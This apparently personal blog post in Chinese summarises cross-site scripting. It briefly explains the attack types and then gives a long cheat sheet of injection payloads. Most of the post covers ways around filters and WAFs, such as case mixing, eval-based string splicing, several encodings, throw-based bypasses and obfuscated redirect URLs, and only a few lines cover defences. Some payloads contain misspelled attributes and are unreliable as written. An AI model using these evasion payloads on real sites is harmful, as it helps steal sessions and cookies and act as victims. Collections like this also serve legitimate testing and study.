菠萝吹雪's Studio.

xss总结

字数统计: 2.5k阅读时长: 11 min
2019/03/14 Share

简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

常见xss攻击手段和目的

1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

分类

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。 反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

储存型

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

DOM型

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

无任何过滤情况下

一些常见标签

<script>
<script>alert(1)</script>

<img>
<img src=1 onerror=alert("xss");>

<input>
<input onfoucs="alert("xss");">

竞争焦点,从而触发onblur事件
"alert('xss');" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

<details>
<details ontoggle="alert('xss');">

使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<svg>
<svg onload=alert("xss");>

<select>
<select onfocous=alert(1)></select>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>

<iframe>
<iframe onload=alert("xss");></iframe>

<video>
<video><soure oneerror="alert(1)">

<audio>
<audio src=x oneerror=alert("xss");>

<body>
<body/onload=alert("xss");>

利用换行符以及autofocus,自动触发onscroll事件。无需用户触发

<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>
<textarea onfocus=alert("xss"); autofocus>

<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

PS:在无csp的情况可以用

<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

<a>标签
<a href="javascript:alert(xss);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<from>标签
<form action="Javascript:alert(1)"><input type=submit>

其他

expression属性

<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有过滤的情况下

过滤空格

/代替空格
<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过

<ImG sRc=x onerRor=alert("xss");>

字符拼接

利用eval
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](xss);</script>

其他字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子

可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(xss);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url 编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex 绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

<img src="x" onerror=alert(xss);>

2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码

<img src="x" onerror=document.location=http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/>

使用ip

1.十进制ip

<img src="x" onerror=document.location=http://2130706433/`>`

2.八进制ip

<img src="x" onerror=document.location=http://0177.0.0.01/`>`

3.hex

<img src="x" onerror=document.location=http://0x7f.0x0.0x0.0x1/`>`

4.html标签中用//可以代替http://

<img src="x" onerror=document.location=//www.baidu.com`>`

5.使用\\

但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

windows 下

linux 下

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号

<img src="x" onerror="document.location=http://www。baidu。com`">//会自动跳转到百度`

如何防止xss

  • 过滤一些危险字符,以及转义 & < > " ' /等危险字符
  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
  • 设置CSP
  • 输入内容长度限制

Reference

https://html5sec.org/

很全的xss总结

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

CATALOG
  1. 1. 简述
  2. 2. 常见xss攻击手段和目的
    1. 2.1. 分类
      1. 2.1.1. 反射型
      2. 2.1.2. 储存型
      3. 2.1.3. DOM型
    2. 2.2. 无任何过滤情况下
      1. 2.2.1. 一些常见标签
        1. 2.2.1.0.1. 利用换行符以及autofocus,自动触发onscroll事件。无需用户触发
  3. 2.3. 利用link 远程包含js文件
    1. 2.3.1. PS:在无csp的情况可以用
  4. 2.4. javascript伪协议
    1. 2.4.1. 其他
  5. 2.5. 有过滤的情况下
    1. 2.5.1. 过滤空格
    2. 2.5.2. 过滤关键字
      1. 2.5.2.1. 大小写绕过
      2. 2.5.2.2. 字符拼接
        1. 2.5.2.2.1. 其他字符混淆
      3. 2.5.2.3. 编码绕过
  6. 2.6. 过滤双引号,单引号
    1. 2.6.1. 过滤括号
  7. 2.7. 过滤url地址
    1. 2.7.1. 使用url编码
    2. 2.7.2. 使用ip
  8. 2.8. 如何防止xss
  9. 2.9. Reference